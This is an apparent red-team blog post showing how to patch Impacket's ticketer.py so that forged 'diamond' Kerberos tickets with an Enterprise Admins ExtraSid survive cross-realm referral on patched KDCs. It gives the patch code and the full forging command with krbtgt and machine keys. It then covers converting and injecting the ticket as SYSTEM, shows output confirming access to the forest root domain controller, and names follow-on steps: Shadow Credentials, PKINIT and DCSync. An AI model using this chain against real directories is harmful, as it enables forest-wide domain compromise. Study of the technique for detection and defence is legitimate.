Skip to content

ExtraSid Diamond Ticket: Patching Impacket for Fully Patched KDCs

So, you want to escalate from child domain krbtgt to forest root domain krbtgt or simply to forest root. You are in a hardened domain and you fight 2 things, a patched KDC and no RC4 intra-forest. Unfortunately, stock ticketer.py doesn't fix neither.

Full source, patched ticketer.py and inject.ps1, is on GitHub (patched ticketer.py using Claude): 0xCZR1/Diamond-Ticket---Impacket-fix.

The bug

On a patched KDC (KB5020009) the KDC checks the PAC_REQUESTOR in your TGT during the cross realm referral. Stock ticketer.py in diamond mode (-request) asks the KDC for a real TGT, then simply throws away the KDC issued PAC and builds a fresh one, I went over and over again the problem, until I understood what happens. I couldn't imagine why ticketer.py does this. The new PAC has no PAC_REQUESTOR, so the referral is rejected and the ticket is purged/destroyed.

You can see it in the ticketer output. It only builds these.

[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE

No PAC_REQUESTOR (type 18), no PAC_ATTRIBUTES (type 17).

Intra realm works because the child KDC re-signs the PAC with the krbtgt key you already hold, so your forgery is self consistent. Cross realm does not, because the root side validates PAC_REQUESTOR. This is not SID filtering. Error is 0x520 plus the TGT vanishing from klist.

The fix

Request a real TGT, decrypt it with the krbtgt key, maintain original PAC_REQUESTOR and PAC_ATTRIBUTES and then rebuild the rest of the PAC with desired ExtraSid. The patch adds _extractOriginalPacFields() and, after createBasicPac(), overwrites the fabricated entries with the real ones.

if self.__options.request is True and not self.__options.impersonate:
    originalPacFields = self._extractOriginalPacFields(kdcRep)
    if PAC_REQUESTOR_INFO in originalPacFields:
        pacInfos[PAC_REQUESTOR_INFO] = originalPacFields[PAC_REQUESTOR_INFO]
    if PAC_ATTRIBUTES_INFO in originalPacFields:
        pacInfos[PAC_ATTRIBUTES_INFO] = originalPacFields[PAC_ATTRIBUTES_INFO]

The sapphire path (-impersonate) already preserved PAC_REQUESTOR from the S4U2Self PAC, but you can't use Sapphire in hardened domains against Tier-0 accounts.

Forge the ticket

ticketer.py -request -domain child.corp.local \
  -domain-sid S-1-5-21-1111111111-1111111111-1111111111 \
  -user 'SCCM-SITE01$' -hashes ':<MACHINE_NTHASH>' \
  -nthash '<CHILD_KRBTGT_NTHASH>' \
  -aesKey '<CHILD_KRBTGT_AES256>' \
  -extra-sid S-1-5-21-2222222222-2222222222-2222222222-519 \
  -dc-ip 10.10.10.2 \
  'SCCM-SITE01$'

Three keys, do not mix them up.

  • -hashes is the machine account NT hash. It pre-auths you to the KDC.
  • -nthash is the child krbtgt NT hash. It re-signs the PAC.
  • -aesKey is the child krbtgt AES256. It decrypts and re-encrypts the ticket.

Now the output keeps the real fields.

[*] Requesting TGT to target domain to use as basis
[*]     Preserved original PAC_ATTRIBUTES from KDC
[*]     Preserved original PAC_REQUESTOR from KDC

Inject and chase the referral

Convert to kirbi, drop it on a child joined box, and inject with LsaRegisterLogonProcess. That needs SYSTEM. LsaConnectUntrusted silently drops TGT submissions, so it must be LsaRegisterLogonProcess. Then let Windows follow the referral natively. The injector is inject.ps1 in the repo.

ticketConverter.py SCCM-SITE01\$.ccache diamond.kirbi

Result is a full AES-256 chain to the forest root, no RC4 anywhere.

A ticket to cifs/ROOT-DC02.corp.local has been retrieved successfully.

#2>  Client: SCCM-SITE01$ @ CHILD.CORP.LOCAL
     Server: cifs/ROOT-DC02.corp.local @ CORP.LOCAL
     KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
     Kdc Called: ROOT-DC02.corp.local

From here C$ on the root DC lists, and you have Enterprise Admin reach across the forest.

After this I escalated to forest root via ldap ticket and wrote "manually" Shadow Credentials from the referral box.

Notes

  • Intra realm golden tickets still work fine. This only bites on the cross realm referral.
  • 0x520 with the TGT disappearing from klist means PAC_REQUESTOR validation, not SID filtering. Do not waste time on the trust key.
  • The patched ticketer.py and the PowerShell injector are both in the repo. The full chain after this, shadow credential on the root DC then PKINIT then DCSync, is a separate write up.